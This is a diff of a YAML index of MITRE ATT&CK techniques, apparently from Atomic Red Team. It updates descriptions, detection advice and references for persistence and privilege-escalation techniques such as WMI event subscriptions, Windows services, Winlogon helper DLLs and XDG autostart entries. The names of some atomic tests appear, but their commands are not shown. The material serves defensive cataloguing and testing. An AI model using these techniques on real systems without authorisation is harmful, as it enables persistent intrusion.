-        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
-
-        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_effective_permissions:
-      - User
-      - Administrator
       x_mitre_platforms:
       - Windows
       - Azure AD
@@ -20479,92 +20818,123 @@ privilege-escalation:
       - macOS
       - Google Workspace
       - Containers
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
+
+        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)
+      x_mitre_effective_permissions:
+      - User
+      - Administrator
       x_mitre_contributors:
+      - Jon Sternstein, Stern Security
       - Yossi Weizman, Azure Defender Research Team
       - Netskope
       - Mark Wee
       - Praetorian
-      x_mitre_is_subtechnique: false
+      x_mitre_detection: |-
+        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).
+
+        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1078
+        external_id: T1078
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/560.html
+        external_id: CAPEC-560
+        source_name: capec
+      - source_name: TechNet Credential Theft
+        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
+          Theft. Retrieved June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
+      - source_name: TechNet Audit Policy
+        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
+          June 3, 2016.
+        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
     atomic_tests: []
   T1546.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1546.003
-        url: https://attack.mitre.org/techniques/T1546/003
-      - url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
-        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
-          Front Lines. Retrieved May 18, 2016.'
-        source_name: Mandiant M-Trends 2015
-      - source_name: FireEye WMI SANS 2015
-        url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
-        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
-          4, 2020.
-      - url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
-        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
-          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
-        source_name: FireEye WMI 2015
-      - url: https://www.secureworks.com/blog/wmi-persistence
-        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
-          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
-        source_name: Dell WMI Persistence
-      - source_name: Microsoft MOF May 2018
-        url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
-        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
-          January 24, 2020.
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      - description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
-          WMI Persistence. Retrieved October 11, 2019.
-        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
-        source_name: Medium Detecting WMI Persistence
-      - source_name: Elastic - Hunting for Persistence Part 1
-        url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
-        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
-          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
-          December 21, 2020.'
-      - source_name: Microsoft Register-WmiEvent
-        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
-        description: Microsoft. (n.d.). Retrieved January 24, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Windows Management Instrumentation Event Subscription
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Process: Process Creation'
+      - 'WMI: WMI Creation'
+      x_mitre_version: '1.2'
+      modified: '2021-10-16T20:11:13.719Z'
+      created: '2020-01-24T14:07:56.276Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - Administrator
+      - SYSTEM
       description: |-
         Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)
 
         Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)
 
         WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
-      id: attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      modified: '2021-04-13T21:32:54.094Z'
-      created: '2020-01-24T14:07:56.276Z'
       x_mitre_contributors:
       - Brent Murphy, Elastic
       - David French, Elastic
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
       x_mitre_detection: |-
         Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI <code>EventFilter</code>, <code>EventConsumer</code>, and <code>FilterToConsumerBinding</code> events. Event ID 5861 is logged on Windows 10 systems when new <code>EventFilterToConsumerBinding</code> events are created.(Citation: Elastic - Hunting for Persistence Part 1)
 
         Monitor processes and command-line arguments that can be used to register WMI persistence, such as the <code> Register-WmiEvent</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
-      - 'Process: Process Creation'
-      - 'WMI: WMI Creation'
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1546/003
+        external_id: T1546.003
+        source_name: mitre-attack
+      - source_name: Mandiant M-Trends 2015
+        description: 'Mandiant. (2015, February 24). M-Trends 2015: A View from the
+          Front Lines. Retrieved May 18, 2016.'
+        url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf
+      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf
+        description: Devon Kerr. (2015). There's Something About WMI. Retrieved May
+          4, 2020.
+        source_name: FireEye WMI SANS 2015
+      - source_name: FireEye WMI 2015
+        description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
+          (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
+        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
+      - source_name: Dell WMI Persistence
+        description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016,
+          March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.
+        url: https://www.secureworks.com/blog/wmi-persistence
+      - url: https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-
+        description: Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved
+          January 24, 2020.
+        source_name: Microsoft MOF May 2018
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
+      - source_name: Medium Detecting WMI Persistence
+        description: French, D. (2018, October 9). Detecting & Removing an Attacker’s
+          WMI Persistence. Retrieved October 11, 2019.
+        url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96
+      - url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1
+        description: 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft
+          101: Hunting for persistence using Elastic Security (Part 1). Retrieved
+          December 21, 2020.'
+        source_name: Elastic - Hunting for Persistence Part 1
+      - url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1
+        description: Microsoft. (n.d.). Retrieved January 24, 2020.
+        source_name: Microsoft Register-WmiEvent
       identifier: T1546.003
     atomic_tests:
     - name: Persistence via WMI Event Subscription
@@ -20608,46 +20978,28 @@ privilege-escalation:
         elevation_required: true
   T1543.003:
     technique:
-      created: '2020-01-17T19:13:50.402Z'
+      type: attack-pattern
       modified: '2020-09-16T15:49:58.490Z'
+      name: Windows Service
+      x_mitre_data_sources:
+      - 'Service: Service Creation'
+      - 'Service: Service Modification'
+      - 'Process: Process Creation'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.1'
+      created: '2020-01-17T19:13:50.402Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1543.003
-        url: https://attack.mitre.org/techniques/T1543/003
-      - external_id: CAPEC-478
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/478.html
-      - external_id: CAPEC-550
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/550.html
-      - external_id: CAPEC-551
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/551.html
-      - url: https://technet.microsoft.com/en-us/library/cc772408.aspx
-        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
-        source_name: TechNet Services
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      - url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
-        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
-          was installed in the system. Retrieved August 7, 2018.'
-        source_name: Microsoft 4697 APR 2017
-      - url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
-        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
-          to help with intrusion detection. Retrieved August 7, 2018.
-        source_name: Microsoft Windows Event Forwarding FEB 2018
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Windows Service
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
       description: "Adversaries may create or modify Windows services to repeatedly
         execute malicious payloads as part of persistence. When Windows boots up,
         it starts programs or applications called services that perform background
@@ -20667,19 +21019,12 @@ privilege-escalation:
         be created with administrator privileges but are executed under SYSTEM privileges,
         so an adversary may also use a service to escalate privileges from administrator
         to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). "
-      id: attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Matthew Demaske, Adaptforward
       - Travis Smith, Tripwire
       - Pedro Harrison
-      x_mitre_data_sources:
-      - 'Service: Service Creation'
-      - 'Service: Service Modification'
-      - 'Process: Process Creation'
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      - 'Windows Registry: Windows Registry Key Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
       x_mitre_effective_permissions:
       - Administrator
       - SYSTEM
@@ -20711,10 +21056,35 @@ privilege-escalation:
         as part of a chain of behavior that could lead to other activities, such as
         network connections made for Command and Control, learning details about the
         environment through Discovery, and Lateral Movement."
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1543/003
+        external_id: T1543.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/478.html
+        external_id: CAPEC-478
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/550.html
+        external_id: CAPEC-550
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/551.html
+        external_id: CAPEC-551
+        source_name: capec
+      - source_name: TechNet Services
+        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
+        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
+      - source_name: Microsoft 4697 APR 2017
+        description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
+          was installed in the system. Retrieved August 7, 2018.'
+        url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
+      - source_name: Microsoft Windows Event Forwarding FEB 2018
+        description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
+          to help with intrusion detection. Retrieved August 7, 2018.
+        url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
       identifier: T1543.003
     atomic_tests:
     - name: Modify Fax service to run PowerShell
@@ -20838,14 +21208,26 @@ privilege-escalation:
         elevation_required: true
   T1547.004:
     technique:
-      created: '2020-01-24T16:59:59.688Z'
+      type: attack-pattern
       modified: '2020-04-21T16:00:41.277Z'
+      name: Winlogon Helper DLL
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Module: Module Load'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-01-24T16:59:59.688Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      type: attack-pattern
+      x_mitre_permissions_required:
+      - SYSTEM
+      - Administrator
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35
       description: "Adversaries may abuse features of Winlogon to execute DLLs and/or
         executables when a user logs in. Winlogon.exe is a Windows component responsible
@@ -20863,42 +21245,30 @@ privilege-escalation:
         user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell
         executed when a user logs on\n\nAdversaries may take advantage of these features
         to repeatedly execute malicious code and establish persistence."
-      name: Winlogon Helper DLL
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.004
-        url: https://attack.mitre.org/techniques/T1547/004
-      - external_id: CAPEC-579
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/579.html
-      - url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
-        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
-          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
-        source_name: Cylance Reg Persistence Sept 2013
-      - url: https://technet.microsoft.com/en-us/sysinternals/bb963902
-        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
-          Retrieved June 6, 2016.
-        source_name: TechNet Autoruns
-      x_mitre_platforms:
-      - Windows
       x_mitre_contributors:
       - Praetorian
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Module: Module Load'
-      - 'Command: Command Execution'
       x_mitre_detection: |-
         Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.
 
         Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
-      x_mitre_permissions_required:
-      - SYSTEM
-      - Administrator
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/004
+        external_id: T1547.004
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/579.html
+        external_id: CAPEC-579
+        source_name: capec
+      - source_name: Cylance Reg Persistence Sept 2013
+        description: 'Langendorf, S. (2013, September 24). Windows Registry Persistence,
+          Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.'
+        url: https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
+      - source_name: TechNet Autoruns
+        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
+          Retrieved June 6, 2016.
+        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
       identifier: T1547.004
     atomic_tests:
     - name: Winlogon Shell Key Persistence - PowerShell
@@ -20971,38 +21341,36 @@ privilege-escalation:
         name: powershell
   T1547.013:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1547.013
-        url: https://attack.mitre.org/techniques/T1547/013
-      - description: Free Desktop. (2006, February 13). Desktop Application Autostart
-          Specification. Retrieved September 12, 2019.
-        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
-        source_name: Free Desktop Application Autostart Feb 2006
-      - description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
-          Retrieved September 12, 2019.
-        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
-        source_name: Free Desktop Entry Keys
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: XDG Autostart Entries
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-11-10T15:55:10.103Z'
+      created: '2019-09-10T18:13:12.195Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: persistence
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
+      x_mitre_platforms:
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      - root
       description: |-
         Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)
 
         Within an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)
 
         Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
-      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2020-11-10T15:55:10.103Z'
-      created: '2019-09-10T18:13:12.195Z'
-      x_mitre_is_subtechnique: true
       x_mitre_contributors:
       - Tony Lambert, Red Canary
       x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing
@@ -21015,45 +21383,27 @@ privilege-escalation:
         to a trusted system baseline.\n \nSuspicious processes or scripts spawned
         in this manner will have a parent process of the desktop component implementing
         the XDG specification and will execute as the logged on user."
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.0'
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_platforms:
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1547/013
+        external_id: T1547.013
+        source_name: mitre-attack
+      - source_name: Free Desktop Application Autostart Feb 2006
+        description: Free Desktop. (2006, February 13). Desktop Application Autostart
+          Specification. Retrieved September 12, 2019.
+        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
+      - source_name: Free Desktop Entry Keys
+        description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
+          Retrieved September 12, 2019.
+        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
     atomic_tests: []
 defense-evasion:
   T1548:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548
-        url: https://attack.mitre.org/techniques/T1548
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Abuse Elevation Control Mechanism
-      description: Adversaries may circumvent mechanisms designed to control elevate
-        privileges to gain higher-level permissions. Most modern systems contain native
-        elevation control mechanisms that are intended to limit privileges that a
-        user can perform on a machine. Authorization has to be granted to specific
-        users in order to perform tasks that can be considered of higher risk. An
-        adversary can perform several methods to take advantage of built-in control
-        mechanisms in order to escalate privileges on a system.
-      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-07-22T21:36:52.825Z'
-      created: '2020-01-30T13:58:14.373Z'
+      name: Abuse Elevation Control Mechanism
       x_mitre_data_sources:
       - 'Process: Process Metadata'
       - 'Process: Process Creation'
@@ -21062,9 +21412,30 @@ defense-evasion:
       - 'File: File Metadata'
       - 'File: File Modification'
       - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-07-22T21:36:52.825Z'
+      created: '2020-01-30T13:58:14.373Z'
       x_mitre_permissions_required:
       - Administrator
       - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
+      description: Adversaries may circumvent mechanisms designed to control elevate
+        privileges to gain higher-level permissions. Most modern systems contain native
+        elevation control mechanisms that are intended to limit privileges that a
+        user can perform on a machine. Authorization has to be granted to specific
+        users in order to perform tasks that can be considered of higher risk. An
+        adversary can perform several methods to take advantage of built-in control
+        mechanisms in order to escalate privileges on a system.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).
 
@@ -21073,75 +21444,18 @@ defense-evasion:
         On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
 
         There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548
+        external_id: T1548
+        source_name: mitre-attack
     atomic_tests: []
   T1134:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134
-        url: https://attack.mitre.org/techniques/T1134
-      - external_id: CAPEC-633
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/633.html
-      - url: https://pentestlab.blog/2017/04/03/token-manipulation/
-        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
-          21, 2017.
-        source_name: Pentestlab Token Manipulation
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
-        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
-        source_name: Microsoft LogonUser
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
-        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
-        source_name: Microsoft DuplicateTokenEx
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
-        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
-        source_name: Microsoft ImpersonateLoggedOnUser
-      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
-        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
-          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
-        source_name: BlackHat Atkinson Winchester Token Manipulation
-      description: |-
-        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
-
